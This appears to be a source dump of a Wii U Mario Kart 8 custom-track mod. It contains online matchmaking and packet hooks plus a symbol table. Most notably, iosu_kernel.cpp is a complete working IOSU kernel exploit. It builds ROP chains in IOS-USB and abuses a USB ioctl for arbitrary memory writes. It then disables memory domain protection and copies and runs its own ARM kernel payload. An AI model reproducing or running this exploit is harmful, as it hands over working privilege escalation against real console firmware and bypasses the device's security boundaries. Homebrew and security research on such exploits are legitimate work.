__attribute__((optimize("O0"))) __ReadKernelPhysical(uint32_t pa_dest, uint32_t src, size_t size); 265 | 266 | extern "C" void WriteKernelPhysical(uint32_t pa_dest, uint32_t src, uint32_t size); 267 | void __attribute__((optimize("O0"))) __WriteKernelPhysical(uint32_t pa_dest, uint32_t src, uint32_t size); 268 | 269 | extern "C" uint64_t SetSegmentRegister(uint32_t segment, uint32_t id); 270 | extern "C" uint32_t __SetSegmentRegister(uint32_t segment, uint32_t id); 271 | 272 | extern "C" uint32_t OSGetDABR(); 273 | extern "C" uint32_t __OSGetDABR(); 274 | 275 | void __GetMemoryRegisters(PowerPC_MemoryRegisters* data); 276 | 277 | #endif -------------------------------------------------------------------------------- /source/patch/online.cpp: -------------------------------------------------------------------------------- 1 | #include "online.hpp" 2 | 3 | ctgp::OnlinePatch* ctgp::OnlinePatchInstance; 4 | ui::Control_WifiCmnButton* onlineCtgpToggleBtn = NULL; 5 | 6 | net::NetworkData_Menu* currentNetworkData = NULL; 7 | DECL_CXX_HOOK(int, net::NetworkData_Menu::init, net::NetworkData_Menu* _this) { 8 | currentNetworkData = _this; 9 | return real(_this); 10 | } 11 | 12 | struct LobbyPlayer { 13 | int field_0; 14 | enl::UniqueID playerId; 15 | int field_C; 16 | int field_10; 17 | int field_14; 18 | int field_18; 19 | }; 20 | 21 | DECL_CXX_HOOK(int, net::NetworkData_Menu::getRouletteResult, void* _this) { 22 | 23 | int ret = real(_this); 24 | if (ctgp::GlobalPatchInstance->getOnlineToggle() && 25 | nn::pia::transport::StationManager::getInstance()->localStation->stationIndex == currentNetworkData->m_CourseChoice.m_PeerInfo.m_StationId) { 26 | for (int i = 0; i < 12; i++) { 27 | if (currentNetworkData->m_Players[i].m_PeerInfo.m_StationId != 253) { 28 | uint32_t* buffer = (uint32_t*)calloc(1, 0x554); 29 | buffer[0] = 0x43544750; 30 | buffer[1] = ctgp::CoursePatchInstance->m_CurrentPageNum; 31 | ctgp::OnlinePatch::SendToStation(currentNetworkData->m_Players[i].m_PeerInfo.m_StationId, buffer); 32 | free(buffer); 33 | } 34 | } 35 | } 36 | 37 | return ret; 38 | } 39 | 40 | void loadPageTrackPaths() { 41 | 42 | ui::Heap_Common* heap = ui::Heap_Common::getHeap(); 43 | if (ctgp::CoursePatchInstance->m_CurrentPageNum > 0) { 44 | for (int i = 0; i < 8; i++) { 45 | for (int j = 0; j < 4; j++) { 46 | ctgp::CUP0Instance->trackNamesMod[heap->courseData->courseList.cups[i].courses[j].id] = 47 | ctgp::CUP0Instance->pages[ctgp::CoursePatchInstance->m_CurrentPageNum - 1]->trackPaths[i][j]; 48 | } 49 | } 50 | } else if (ctgp::CoursePatchInstance->m_CurrentPageNum == 0) { 51 | for (int i = 0; i < 8; i++) { 52 | for (int i = 0; i < 4; i++) { 53 | ctgp::CUP0Instance->trackNamesMod[heap->courseData->courseList.cups[i].courses[i].id] = NULL; 54 | } 55 | } 56 | } 57 | } 58 | 59 | DECL_CXX_HOOK(int, nn::pia::inet::SocketInputStream::readFromSocket, nn::pia::inet::SocketInputStream* _this, uint32_t* data) { 60 | int ret = real(_this, data); 61 | if (!ret && ctgp::GlobalPatchInstance->getOnlineToggle() && data[0] == 0x43544750) { 62 | DBG_LOG("Received custom CTGP packet with page %d\n", data[1]); 63 | ctgp::CoursePatchInstance->m_CurrentPageNum = (int)data[1]; 64 | loadPageTrackPaths(); 65 | } 66 | return ret; 67 | } 68 | 69 | /* CTGP Region: 70 | 71 | - 101: Default beta 72 | 73 | */ 74 | 75 | DECL_CXX_HOOK(int, nn::nex::MatchmakeSessionSearchCriteria::SetAttribute, nn::nex::MatchmakeSessionSearchCriteria* _this, uint32_t attributeIndex, uint32_t attributeValue) { 76 | if (attributeIndex == 3 && ctgp::GlobalPatchInstance->getOnlineToggle()) { 77 | attributeValue = 101; 78 | } 79 | if (attributeIndex == 3) { 80 | ctgp::GlobalPatchInstance->m_LastRegion = attributeValue; 81 | } 82 | int ret = real(_this, attributeIndex, attributeValue); 83 | return ret; 84 | } 85 | 86 | DECL_CXX_HOOK(int, nn::nex::MatchmakeSession::SetAttribute, nn::nex::MatchmakeSession* _this, uint32_t attributeIndex, uint32_t attributeValue) { 87 | if (attributeIndex == 3 && ctgp::GlobalPatchInstance->getOnlineToggle()) { 88 | attributeValue = 101; 89 | } 90 | if (attributeIndex == 3) { 91 | ctgp::GlobalPatchInstance->m_LastRegion = attributeValue; 92 | } 93 | int ret = real(_this, attributeIndex, attributeValue); 94 | return ret; 95 | } 96 | 97 | DECL_CXX_HOOK(int, ui::Page_WifiTop::onCreate, ui::Page_WifiTop* _this) { 98 | int ret = real(_this); 99 | if (!onlineCtgpToggleBtn) 100 | onlineCtgpToggleBtn = new ui::Control_WifiCmnButton(_this); 101 | onlineCtgpToggleBtn->field_00 = 4; 102 | onlineCtgpToggleBtn->flow = &_this->flow0; 103 | onlineCtgpToggleBtn->field_24 = 3; 104 | onlineCtgpToggleBtn->inputKey.requiredInput = VPAD_BUTTON_PLUS; 105 | _this->createControl_(onlineCtgpToggleBtn, _this->controls.mPtrs[0], "L_CTGP_00"); 106 | onlineCtgpToggleBtn->setMessage(ONLINE_TOGGLE_MSG_ID); 107 | return ret; 108 | } 109 | 110 | //! TODO: Set matchmaking type to the faster matchmaking, we don't care about 111 | //! score difference since low player base 112 | 113 | bool Page_WifiTop_ButtonHandler(ui::Control_Button* _this, ui::UIEvent* event) { 114 | 115 | if (onlineCtgpToggleBtn && _this == onlineCtgpToggleBtn) { // 1 = A press, 0 = Touch pad 116 | if (event->m_InputValue <= 1 || event->m_InputValue == VPAD_BUTTON_PLUS) { 117 | ctgp::GlobalPatchInstance->setOnlineToggle(!ctgp::GlobalPatchInstance->getOnlineToggle()); 118 | char16_t* ctgpText = (char16_t*)u" Online CTGP: OFF"; 119 | if (ctgp::GlobalPatchInstance->getOnlineToggle()) { 120 | ctgpText = (char16_t*)u" Online CTGP: ON"; 121 | } 122 | ctgpText[0] = 0xE045; // (+) sign unicode value for Nintendo font 123 | ModifyMessage(ctgpText, ONLINE_TOGGLE_MSG_ID, false); 124 | onlineCtgpToggleBtn->setMessage(ONLINE_TOGGLE_MSG_ID); 125 | audio::utl::startSound2D("SE_SYS_DIALOG_OPEN"); 126 | 127 | if (!ctgp::GlobalPatchInstance->getOnlineToggle()) { 128 | ctgp::CoursePatchInstance->m_CurrentPageNum = 0; 129 | ctgp::CoursePatchInstance->LoadPage(); 130 | } 131 | 132 | return true; 133 | } 134 | } 135 | 136 | return false; 137 | } 138 | 139 | DECL_CXX_HOOK(int, enl::PiaInetMatchingManager::autoMatch, enl::PiaInetMatchingManager* _this) { 140 | int ret = real(_this); 141 | /* 142 | if(ctgp::GlobalPatchInstance->m_IsRgsConnected) { 143 | rgs::GatheringPlayer player; 144 | player.m_JoinStatus = rgs::JOIN_STATUS_AUTOMATCH; 145 | player.m_Region = ctgp::GlobalPatchInstance->m_LastRegion; 146 | player.m_PrincipalID = _this->m_UserPid; 147 | player.m_IsHost = _this->m_UserPid == _this->m_HostPid; 148 | player.m_GatheringID = _this->m_GatheringId; 149 | CustomTrackGrandPrixCafeServiceClient::UpdatePlayerDataAsync(&player, 150 | rgs::DefaultAsyncCallback); 151 | } 152 | */ 153 | return ret; 154 | } 155 | 156 | DECL_CXX_HOOK(int, enl::PiaInetMatchingManager::joinMatch, enl::PiaInetMatchingManager* _this) { 157 | int ret = real(_this); 158 | /* 159 | if(ctgp::GlobalPatchInstance->m_IsRgsConnected) { 160 | rgs::GatheringPlayer player; 161 | player.m_JoinStatus = rgs::JOIN_STATUS_JOINMATCH; 162 | player.m_Region = ctgp::GlobalPatchInstance->m_LastRegion; 163 | player.m_PrincipalID = _this->m_UserPid; 164 | player.m_IsHost = _this->m_UserPid == _this->m_HostPid; 165 | player.m_GatheringID = _this->m_GatheringId; 166 | CustomTrackGrandPrixCafeServiceClient::UpdatePlayerDataAsync(&player, 167 | rgs::DefaultAsyncCallback); 168 | } 169 | */ 170 | return ret; 171 | } 172 | 173 | DECL_CXX_HOOK(int, enl::PiaInetMatchingManager::createMatch, enl::PiaInetMatchingManager* _this) { 174 | int ret = real(_this); 175 | /* 176 | if(ctgp::GlobalPatchInstance->m_IsRgsConnected) { 177 | rgs::GatheringPlayer player; 178 | player.m_JoinStatus = rgs::JOIN_STATUS_CREATEMATCH; 179 | player.m_Region = ctgp::GlobalPatchInstance->m_LastRegion; 180 | player.m_PrincipalID = _this->m_UserPid; 181 | player.m_IsHost = _this->m_UserPid == _this->m_HostPid; 182 | player.m_GatheringID = _this->m_GatheringId; 183 | CustomTrackGrandPrixCafeServiceClient::UpdatePlayerDataAsync(&player, 184 | rgs::DefaultAsyncCallback); 185 | } 186 | */ 187 | return ret; 188 | } 189 | 190 | DECL_CXX_HOOK(int, enl::PiaInetMatchingManager::disconnect, enl::PiaInetMatchingManager* _this) { 191 | int ret = real(_this); 192 | /* 193 | if(ctgp::GlobalPatchInstance->m_IsRgsConnected) { 194 | rgs::GatheringPlayer player; 195 | player.m_JoinStatus = rgs::JOIN_STATUS_DISCONNECT; 196 | player.m_PrincipalID = _this->m_UserPid; 197 | CustomTrackGrandPrixCafeServiceClient::UpdatePlayerDataAsync(&player, 198 | rgs::DefaultAsyncCallback); 199 | } 200 | */ 201 | return ret; 202 | } 203 | 204 | DECL_CXX_HOOK(int, ui::UICourseList::getRandomOnlineTracks, ui::UICourseList* _this, ui::CourseInfo* trackOutputs, void* blacklist) { 205 | memset(ctgp::OnlinePatchInstance->m_TrackOptionsPage, 0, sizeof(ctgp::OnlinePatchInstance->m_TrackOptionsPage)); 206 | int ret = real(_this, trackOutputs, blacklist); 207 | return ret; 208 | } 209 | 210 | void ctgp::OnlinePatch::Initialize() { 211 | 212 | ctgp::GlobalPatchInstance->RegisterButtonHandlerRedirection(ui::Page_WifiTop::ID, Page_WifiTop_ButtonHandler); 213 | 214 | MK8_HOOK_CXX_FUNC(0x023D3BA4, net::NetworkData_Menu::init); 215 | MK8_HOOK_CXX_FUNC(0x02411FF0, net::NetworkData_Menu::getRouletteResult); 216 | MK8_HOOK_CXX_FUNC(0x02A02944, nn::pia::inet::SocketInputStream::readFromSocket); 217 | MK8_HOOK_CXX_FUNC(0x0298E52C, nn::nex::MatchmakeSession::SetAttribute); 218 | MK8_HOOK_CXX_FUNC(0x0298E7B4, nn::nex::MatchmakeSessionSearchCriteria::SetAttribute); 219 | MK8_HOOK_CXX_FUNC(0x025F3A48, ui::Page_WifiTop::onCreate); 220 | MK8_HOOK_CXX_FUNC(0x028CBF70, enl::PiaInetMatchingManager::autoMatch); 221 | MK8_HOOK_CXX_FUNC(0x028CC520, enl::PiaInetMatchingManager::joinMatch); 222 | MK8_HOOK_CXX_FUNC(0x028CCC54, enl::PiaInetMatchingManager::createMatch) 223 | MK8_HOOK_CXX_FUNC(0x028CC678, enl::PiaInetMatchingManager::disconnect); 224 | MK8_HOOK_CXX_FUNC(0x0254404C, ui::UICourseList::getRandomOnlineTracks); 225 | } -------------------------------------------------------------------------------- /source/wiiu/iosu_kernel.cpp: -------------------------------------------------------------------------------- 1 | #include "iosu_kernel.h" 2 | 3 | int USB_Write32(int fd, uint32_t* someOtherPointer, uint32_t addr, uint32_t value) { 4 | 5 | uint32_t input[2] = { 0xFFF415D4, value }; 6 | uint32_t output[32]; 7 | 8 | someOtherPointer[0x208] = addr - 0x18; 9 | DCFlushRange(someOtherPointer, 0x1000); 10 | OSSleepTicks(0x200000); 11 | 12 | return IOS_Ioctl(fd, 0x15, input, sizeof(input), output, sizeof(output)); 13 | } 14 | 15 | void IOSU_Exploit(int* confirm) { 16 | 17 | /* Stack Pivot ROP Chain starts at 0x1016AD78 */ 18 | uint32_t* firstRopChain = (uint32_t*)0xF4120000; 19 | memset(firstRopChain, 0, 0x1C8); 20 | 21 | /* memcpy(0x1015BD00, 0x00130000, 0x00004000); */ 22 | firstRopChain[0x000 / 4] = POP_R0_R1_R4_PC; 23 | firstRopChain[0x004 / 4] = 0x1015BD00; 24 | firstRopChain[0x008 / 4] = 0; 25 | firstRopChain[0x00C / 4] = 0; 26 | firstRopChain[0x010 / 4] = POP_R1_R2_R5_PC; 27 | firstRopChain[0x014 / 4] = 0x00130000; 28 | firstRopChain[0x018 / 4] = 0x00004000; 29 | firstRopChain[0x01C / 4] = 0; 30 | firstRopChain[0x020 / 4] = USB_Memcpy; 31 | firstRopChain[0x024 / 4] = 0; 32 | firstRopChain[0x028 / 4] = 0; 33 | 34 | firstRopChain[0x02C / 4] = POP_R0_R1_R4_PC; 35 | firstRopChain[0x030 / 4] = POP_R1_R2_R5_PC; 36 | firstRopChain[0x034 / 4] = 0; 37 | firstRopChain[0x038 / 4] = 0; 38 | 39 | firstRopChain[0x03C / 4] = MOV_R0_TO_LR__ADD_SP_8__POP_PC; 40 | firstRopChain[0x040 / 4] = 0; 41 | firstRopChain[0x044 / 4] = 0; 42 | 43 | /* IOSU_CreateThread(0x10101634, 0, 0x101001DC, 0x68, 1, 2); */ 44 | firstRopChain[0x048 / 4] = POP_R0_R1_R4_PC; 45 | firstRopChain[0x04C / 4] = POP_R4_R5_PC; // thread_func 46 | firstRopChain[0x050 / 4] = 0; 47 | firstRopChain[0x054 / 4] = 0; 48 | 49 | firstRopChain[0x058 / 4] = POP_R1_TO_R7_PC; 50 | firstRopChain[0x05C / 4] = 0; // thread_args 51 | firstRopChain[0x060 / 4] = 0x101001DC; // thread_stack, we need to patch some 52 | // code using the CreateThread exploit 53 | firstRopChain[0x064 / 4] = 0x68; 54 | firstRopChain[0x068 / 4] = 0; 55 | firstRopChain[0x06C / 4] = 0; 56 | firstRopChain[0x070 / 4] = 0; 57 | firstRopChain[0x074 / 4] = 0; 58 | 59 | firstRopChain[0x078 / 4] = USB_IOS_CreateThread; 60 | firstRopChain[0x07C / 4] = 1; // Thread Priority (the syscall actually reads it from the stack) 61 | firstRopChain[0x080 / 4] = 2; // Thread Flags (the syscall actually 62 | // reads it from the stack too) 63 | firstRopChain[0x084 / 4] = 0; 64 | 65 | firstRopChain[0x088 / 4] = POP_R1_R2_R5_PC; 66 | firstRopChain[0x08C / 4] = 0; 67 | firstRopChain[0x090 / 4] = CALC_STACK_OFFSET(0x1015BD00, 0x1016AD78, 0xC0); 68 | firstRopChain[0x094 / 4] = 0; 69 | 70 | firstRopChain[0x098 / 4] = POP_R4_TO_R11_PC; 71 | firstRopChain[0x09C / 4] = 0; 72 | firstRopChain[0x0A0 / 4] = 0; 73 | firstRopChain[0x0A4 / 4] = 0; 74 | firstRopChain[0x0A8 / 4] = 0; 75 | firstRopChain[0x0AC / 4] = 0; 76 | firstRopChain[0x0B0 / 4] = 0; 77 | firstRopChain[0x0B4 / 4] = 0; 78 | firstRopChain[0x0B8 / 4] = 4; 79 | 80 | firstRopChain[0x0BC / 4] = 0x1012EA68; // at this point, sp = 0x1016AD78 + 0xC0 81 | DCFlushRange(firstRopChain, 0x1C8); 82 | 83 | uint32_t* iosUsbRopChain = (uint32_t*)0xF4130000; 84 | memset(iosUsbRopChain, 0, 0x4000); 85 | 86 | /* IOS_CreateMessageQueue(0x08120000 - 8, 0x40000002) */ 87 | iosUsbRopChain[0x000 / 4] = POP_R0_R1_R4_PC; 88 | iosUsbRopChain[0x004 / 4] = POP_R1_R2_R5_PC; 89 | iosUsbRopChain[0x008 / 4] = 0; 90 | iosUsbRopChain[0x00C / 4] = 0; 91 | 92 | iosUsbRopChain[0x010 / 4] = MOV_R0_TO_LR__ADD_SP_8__POP_PC; 93 | iosUsbRopChain[0x014 / 4] = 0; 94 | iosUsbRopChain[0x018 / 4] = 0; 95 | 96 | iosUsbRopChain[0x01C / 4] = POP_R0_R1_R4_PC; 97 | iosUsbRopChain[0x020 / 4] = 0x08120000 - 8; 98 | iosUsbRopChain[0x024 / 4] = 0x40000002; 99 | iosUsbRopChain[0x028 / 4] = 0; 100 | 101 | iosUsbRopChain[0x02C / 4] = USB_IOS_CreateMessageQueue; 102 | 103 | iosUsbRopChain[0x030 / 4] = 0; 104 | iosUsbRopChain[0x034 / 4] = 0; 105 | iosUsbRopChain[0x038 / 4] = 0x01FFF000 - 0x1C - 4; 106 | 107 | /* save our queue ID to memory */ 108 | iosUsbRopChain[0x03C / 4] = STR_R0_R5_0x1C__POP_R4_R5_PC; // *(int*)(0x01FFF000 - 4) = 109 | // IOS_CreateMessageQueue(...) 110 | iosUsbRopChain[0x040 / 4] = 0; 111 | iosUsbRopChain[0x044 / 4] = 0; 112 | 113 | /* IOS_SendMessageToQueue(*(int*)(0x01FFF000 - 4), 0xDEADC0DE, 1) */ 114 | iosUsbRopChain[0x048 / 4] = POP_R0_R1_R4_PC; 115 | iosUsbRopChain[0x04C / 4] = 0x01FFF000 - 4; 116 | iosUsbRopChain[0x050 / 4] = 0; 117 | iosUsbRopChain[0x054 / 4] = 0; 118 | iosUsbRopChain[0x058 / 4] = LDR_R0_R0__BX_LR; 119 | // POP_R1_R2_R5_PC from LR 120 | iosUsbRopChain[0x05C / 4] = 0xDEADC0DE; 121 | iosUsbRopChain[0x060 / 4] = 1; // flags != 0 -> skip a bunch of weird stuff 122 | iosUsbRopChain[0x064 / 4] = 0; 123 | iosUsbRopChain[0x068 / 4] = USB_IOS_SendMessage; 124 | iosUsbRopChain[0x06C / 4] = 0; 125 | iosUsbRopChain[0x070 / 4] = 0; 126 | iosUsbRopChain[0x074 / 4] = 0; 127 | 128 | /* IOS_SendMessageToQueue(*(int*)(0x01FFF000 - 4), 0xDEADC0DE, 1) */ 129 | iosUsbRopChain[0x078 / 4] = POP_R0_R1_R4_PC; 130 | iosUsbRopChain[0x07C / 4] = 0x01FFF000 - 4; 131 | iosUsbRopChain[0x080 / 4] = 0; 132 | iosUsbRopChain[0x084 / 4] = 0; 133 | iosUsbRopChain[0x088 / 4] = LDR_R0_R0__BX_LR; 134 | // POP_R1_R2_R5_PC from LR 135 | iosUsbRopChain[0x08C / 4] = 0xDEADC0DE; 136 | iosUsbRopChain[0x090 / 4] = 1; // flags != 0 -> skip a bunch of weird stuff 137 | iosUsbRopChain[0x094 / 4] = 0; 138 | iosUsbRopChain[0x098 / 4] = USB_IOS_SendMessage; 139 | iosUsbRopChain[0x09C / 4] = 0; 140 | iosUsbRopChain[0x0A0 / 4] = 0; 141 | iosUsbRopChain[0x0A4 / 4] = 0; 142 | 143 | /* IOS_SendMessageToQueue(*(int*)(0x01FFF000 - 4), 0xE12FFF13, 1) */ 144 | iosUsbRopChain[0x0A8 / 4] = POP_R0_R1_R4_PC; 145 | iosUsbRopChain[0x0AC / 4] = 0x01FFF000 - 4; 146 | iosUsbRopChain[0x0B0 / 4] = 0; 147 | iosUsbRopChain[0x0B4 / 4] = 0; 148 | iosUsbRopChain[0x0B8 / 4] = LDR_R0_R0__BX_LR; 149 | // POP_R1_R2_R5_PC from LR 150 | iosUsbRopChain[0x0BC / 4] = 0xE12FFF13; // BX R3 151 | iosUsbRopChain[0x0C0 / 4] = 1; // flags != 0 -> skip a bunch of weird stuff 152 | iosUsbRopChain[0x0C4 / 4] = 0; 153 | iosUsbRopChain[0x0C8 / 4] = USB_IOS_SendMessage; 154 | iosUsbRopChain[0x0CC / 4] = 0; 155 | iosUsbRopChain[0x0D0 / 4] = 0; 156 | iosUsbRopChain[0x0D4 / 4] = 0; 157 | 158 | /* set all bits in domain access control register (mcr p15, 0, r0, c3, c0, 0) 159 | */ 160 | iosUsbRopChain[0x0D8 / 4] = POP_R0_R1_R4_PC; 161 | iosUsbRopChain[0x0DC / 4] = 0xFFFFFFFF; 162 | iosUsbRopChain[0x0E0 / 4] = 0; 163 | iosUsbRopChain[0x0E4 / 4] = 0; 164 | iosUsbRopChain[0x0E8 / 4] = POP_R1_TO_R7_PC; 165 | iosUsbRopChain[0x0EC / 4] = 0; 166 | iosUsbRopChain[0x0F0 / 4] = 0; 167 | iosUsbRopChain[0x0F4 / 4] = IOS_SetAccessDomainCtrlReg; 168 | iosUsbRopChain[0x0F8 / 4] = 0; 169 | iosUsbRopChain[0x0FC / 4] = 0; 170 | iosUsbRopChain[0x100 / 4] = 0; 171 | iosUsbRopChain[0x104 / 4] = 0; 172 | iosUsbRopChain[0x108 / 4] = USB_IOS_Syscall_0x4F; 173 | iosUsbRopChain[0x10C / 4] = 0; 174 | iosUsbRopChain[0x110 / 4] = 0; 175 | iosUsbRopChain[0x114 / 4] = 0; 176 | 177 | /* kernel_memcpy(0x08135000, 0x01D00000, 0xBF00); */ 178 | iosUsbRopChain[0x118 / 4] = POP_R0_R1_R4_PC; 179 | iosUsbRopChain[0x11C / 4] = 0x08135000; 180 | iosUsbRopChain[0x120 / 4] = 0; 181 | iosUsbRopChain[0x124 / 4] = 0; 182 | iosUsbRopChain[0x128 / 4] = POP_R1_TO_R7_PC; 183 | iosUsbRopChain[0x12C / 4] = 0x01D00000; 184 | iosUsbRopChain[0x130 / 4] = arm_kernel_bin_len; 185 | iosUsbRopChain[0x134 / 4] = IOS_KernelMemcpy; 186 | iosUsbRopChain[0x138 / 4] = 0; 187 | iosUsbRopChain[0x13C / 4] = 0; 188 | iosUsbRopChain[0x140 / 4] = 0; 189 | iosUsbRopChain[0x144 / 4] = 0; 190 | iosUsbRopChain[0x148 / 4] = USB_IOS_Syscall_0x4F; 191 | iosUsbRopChain[0x14C / 4] = 0; 192 | iosUsbRopChain[0x150 / 4] = 0; 193 | iosUsbRopChain[0x154 / 4] = 0; 194 | 195 | /* IOS_DCFlushRange(0x08135000, 0x4001); */ /* flush and clear the entire data 196 | cache */ 197 | iosUsbRopChain[0x158 / 4] = POP_R0_R1_R4_PC; 198 | iosUsbRopChain[0x15C / 4] = 0x08135000; 199 | iosUsbRopChain[0x160 / 4] = 0x4001; 200 | iosUsbRopChain[0x164 / 4] = 0; 201 | iosUsbRopChain[0x168 / 4] = USB_IOS_DCFlushRange; 202 | iosUsbRopChain[0x16C / 4] = 0; 203 | iosUsbRopChain[0x170 / 4] = 0; 204 | iosUsbRopChain[0x174 / 4] = 0; 205 | 206 | /* jump to our code */ 207 | iosUsbRopChain[0x178 / 4] = POP_R1_TO_R7_PC; 208 | iosUsbRopChain[0x17C / 4] = 0; 209 | iosUsbRopChain[0x180 / 4] = 0; 210 | iosUsbRopChain[0x184 / 4] = 0x08135000; 211 | iosUsbRopChain[0x188 / 4] = 0; 212 | iosUsbRopChain[0x18C / 4] = 0; 213 | iosUsbRopChain[0x190 / 4] = 0; 214 | iosUsbRopChain[0x194 / 4] = 0; 215 | iosUsbRopChain[0x198 / 4] = USB_IOS_Syscall_0x4F; 216 | iosUsbRopChain[0x19C / 4] = 0; 217 | iosUsbRopChain[0x1A0 / 4] = 0; 218 | iosUsbRopChain[0x1A4 / 4] = 0; 219 | 220 | iosUsbRopChain[0x1A8 / 4] = USB_EndTextSection; // reply + back to the IOS-USB main loop code 221 | 222 | DCFlushRange(iosUsbRopChain, 0x4000); 223 | 224 | int32_t fd = (int32_t)IOS_Open("/dev/uhs/0", 0); 225 | 226 | uint32_t* fakeInternalRootHub = (uint32_t*)__OSPhysicalToEffectiveCached(0x10146080 + 0xFFF415D4 * 0x144 + 0x39ec); 227 | uint32_t* someOtherPointer = (uint32_t*)0xF4500000; 228 | memset(fakeInternalRootHub, 0, 0x144); 229 | memset(someOtherPointer, 0, 0xC00); 230 | 231 | /* hardcoded values to pass checks */ 232 | fakeInternalRootHub[0x4e] = 0; 233 | fakeInternalRootHub[0x21] = (uint32_t)OSEffectiveToPhysical(someOtherPointer); 234 | someOtherPointer[0x08] = (uint32_t)OSEffectiveToPhysical(someOtherPointer); 235 | someOtherPointer[0x05] = 1; 236 | 237 | DCFlushRange(fakeInternalRootHub, 0x144); 238 | 239 | memcpy((void*)0xF5D00000, arm_kernel_bin, arm_kernel_bin_len); 240 | DCFlushRange((void*)0xF5D00000, arm_kernel_bin_len); 241 | 242 | memcpy((void*)0xF4148004, arm_user_bin, arm_user_bin_len); 243 | *(uint32_t*)0xF4148000 = arm_user_bin_len; 244 | DCFlushRange((void*)0xF4148000, arm_user_bin_len + 4); 245 | 246 | /* memcpy(0x1016AD78, pa_OurRopChain, 0x1C8) */ 247 | USB_Write32(fd, someOtherPointer, 0x1016AD40 + 0x14, 0x1016AD40 + 0x14 + 0x4 + 0x20); 248 | USB_Write32(fd, someOtherPointer, 0x1016AD40 + 0x10, 0x1011814C); 249 | USB_Write32(fd, someOtherPointer, 0x1016AD40 + 0x0C, (uint32_t)OSEffectiveToPhysical(firstRopChain)); 250 | int rc = USB_Write32(fd, someOtherPointer, 0x1016AD40 + 0x00, 0x1012392b); 251 | 252 | if (rc == 1337 && confirm) { 253 | *confirm = 1; 254 | DBG_LOG("IOSU Exploit worked\n"); 255 | } 256 | 257 | IOS_Close(fd); 258 | } -------------------------------------------------------------------------------- /source/wiiu/symbols.cpp: -------------------------------------------------------------------------------- 1 | #include "symbols.h" 2 | 3 | int (*OSDynLoad_Acquire)(const char* dynLoadExeName, uint32_t* outHandle) = (int (*)(const char*, uint32_t*))0x0102A3B4; 4 | int (*OSDynLoad_FindExport)(uint32_t handle, bool isFromDataSection, const char* name, void** fpptr) = (int (*)(uint32_t, bool, const char*, void**))0x0102B828; 5 | 6 | void __load_from_module(uint32_t module, const char* symbol, void** f) { 7 | OSDynLoad_FindExport(module, false, symbol, (void**)f); 8 | C_UNLESS(*f, OSFatal(symbol)); 9 | } 10 | 11 | void* (*memoryAllocAlign)(size_t size, size_t align) = (void* (*)(size_t, size_t))0x1048d10; 12 | void* (*memoryAlloc)(size_t size) = (void* (*)(size_t))0x01048C64; 13 | void* (*memoryFree)(void* ptr) = (void* (*)(void*))0x01048dbc; 14 | 15 | void (*FSInit)(void); 16 | int (*FSAddClient)(FSClient* c, int unk1); 17 | int (*FSInitCmdBlock)(FSCmdBlock* blk); 18 | int (*FSOpenFile)(FSClient* client, FSCmdBlock* block, const char* path, const char* mode, int* handle, uint32_t flags); 19 | int (*FSCloseFile)(FSClient* client, FSCmdBlock* block, int handle, uint32_t unk1); 20 | int (*FSOpenDir)(FSClient* client, FSCmdBlock* block, const char* dirPath, int* dirHandle, uint32_t flags); 21 | int (*FSReadDir)(FSClient* client, FSCmdBlock* block, int dirHandle, FSDirEntry* returnedDirEntry, int errHandling); 22 | int (*FSCloseDir)(FSClient* client, FSCmdBlock* block, int dirHandle, int unk1); 23 | int (*FSGetStat)(FSClient* client, FSCmdBlock* block, const char* path, FSStat* stat, uint32_t flags); 24 | int (*FSGetStatFile)(FSClient* client, FSCmdBlock* block, int handle, FSStat* stat, uint32_t flags); 25 | int (*FSReadFile)(FSClient* client, FSCmdBlock* block, void* buffer, uint32_t count, size_t size, int handle, uint32_t unk1, uint32_t flags); 26 | int (*FSReadFileWithPos)(FSClient* client, FSCmdBlock* block, uint8_t* buffer, uint32_t count, size_t size, uint32_t pos, int handle, uint32_t unk1, uint32_t flags); 27 | int (*FSSetPosFile)(FSClient* client, FSCmdBlock* block, int handle, uint32_t pos, uint32_t flags); 28 | int (*FSGetMountSource)(FSClient* client, FSCmdBlock* cmd, int type /* 0 = sd */, char* out, uint32_t flags); 29 | int (*FSMount)(FSClient* client, FSCmdBlock* cmd, char* source, const char* target, uint32_t bytes, uint32_t flags); 30 | int (*FSGetPosFile)(FSClient* client, FSCmdBlock* block, int fileHandle, uint32_t* pos, uint32_t flags); 31 | 32 | int (*IOS_Open)(const char* devNode, int mode); 33 | int (*IOS_Close)(int handle); 34 | int (*IOS_Ioctl)(int handle, uint32_t methodId, void* bufIn, size_t sizeIn, void* bufIo, size_t sizeIo); 35 | 36 | bool (*OSCreateThread)(OSThread* thread, void* entry, int argc, char* argv, void* stack, uint32_t stackSize, int priority, uint16_t attributes); 37 | bool (*OSJoinThread)(OSThread* thread, int* threadResult); 38 | int (*OSResumeThread)(OSThread* thread); 39 | OSThread* (*OSGetCurrentThread)(void); 40 | void (*OSExitThread)(int result); 41 | void (*OSSetThreadName)(OSThread* thread, const char* name); 42 | void (*OSSleepTicks)(int64_t ticks); 43 | 44 | void* (*__OSPhysicalToEffectiveCached)(uint32_t addr); 45 | void* (*OSEffectiveToPhysical)(void* addr); 46 | void (*DCInvalidateRange)(void* addr, uint32_t size); 47 | void (*DCFlushRange)(void* addr, uint32_t size); 48 | void (*DCStoreRange)(void* addr, uint32_t size); 49 | void (*ICInvalidateRange)(void* addr, uint32_t size); 50 | void (*OSMemoryBarrier)(); 51 | 52 | int (*socket_lib_init)(void); 53 | int (*socket_lib_finish)(void); 54 | int (*socket)(int domain, int type, int protocol); 55 | int (*socketclose)(int s); 56 | int (*connect)(int s, void* addr, int addrlen); 57 | int (*sendto)(int s, const void* buffer, int size, int flags, const sockaddr_in* dest, int dest_len); 58 | int (*setsockopt)(int s, int level, int optname, void* optval, int optlen); 59 | int (*bind)(int sockfd, struct sockaddr* my_addr, int addrlen); 60 | int (*listen)(int s, int backlog); 61 | hostent* (*gethostbyname)(const char* ipAddr); 62 | int (*accept)(int sock, struct sockaddr* addr, size_t* len); 63 | int (*send)(int s, const void* msg, size_t len, int flags); 64 | int (*socketlasterr)(void); 65 | int (*recv)(int s, void* buf, int len, unsigned int flags); 66 | const char* (*inet_ntoa)(in_addr addr); 67 | 68 | void (*OSInitMutexEx)(OSMutex* mutex, const char* name); 69 | bool (*OSLockMutex)(OSMutex* mutex); 70 | bool (*OSUnlockMutex)(OSMutex* mutex); 71 | uint64_t (*OSGetSystemTime)(void); 72 | 73 | bool (*OSIsAddressValid)(uint32_t addr); 74 | bool (*OSGetSymbolName)(uint32_t addr, char* outSymbolName, int maxSz); 75 | uint64_t (*OSGetTitleID)(void); 76 | int (*OSGetCoreId)(void); 77 | int 